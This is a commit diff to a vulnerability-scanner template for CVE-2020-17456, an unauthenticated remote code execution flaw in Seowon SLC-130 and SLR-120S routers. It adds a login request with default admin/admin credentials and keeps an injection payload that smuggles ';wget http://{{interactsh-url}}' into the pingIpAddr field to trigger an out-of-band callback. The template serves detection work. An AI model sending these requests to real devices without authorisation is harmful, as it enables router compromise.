Update CVE-2020-17456.yaml

cves/2020/CVE-2020-17456.yaml

@@ -1,27 +1,32 @@
 id: CVE-2020-17456
 
 info:
-  name: Seowon SlC-130 And SLR-120S - Unauthenticated Remote Code Execution
+  name: Seowon SLC-130 And SLR-120S - Unauthenticated Remote Code Execution
   author: gy741
   severity: critical
   description: SEOWON INTECH SLC-130 And SLR-120S devices allow Remote Code Execution via the ipAddr parameter to the system_log.cgi page.
   reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-17456
     - https://maj0rmil4d.github.io/Seowon-SlC-130-And-SLR-120S-Exploit/
-  tags: rce,seowon,router,unauth,iot
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-17456
+  tags: rce,seowon,router,unauth,iot,cve,cve2020,oast
 
 requests:
   - raw:
+      - |
+        POST /cgi-bin/login.cgi HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Referer: {{BaseURL}}
+        Content-Type: application/x-www-form-urlencoded
+
+        browserTime=081119502020&currentTime=1597159205&expires=Wed%252C%2B12%2BAug%2B2020%2B15%253A20%253A05%2BGMT&Command=Submit&user=admin&password=admin
       - |
         POST /cgi-bin/system_log.cgi HTTP/1.1
         Host: {{Hostname}}
-        Accept-Encoding: gzip, deflate
-        Accept: */*
-        Connection: keep-alive
         Content-Type: application/x-www-form-urlencoded
 
         Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;wget http://{{interactsh-url}}&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018
-
+    cookie-reuse: true
     matchers:
       - type: word
         part: interactsh_protocol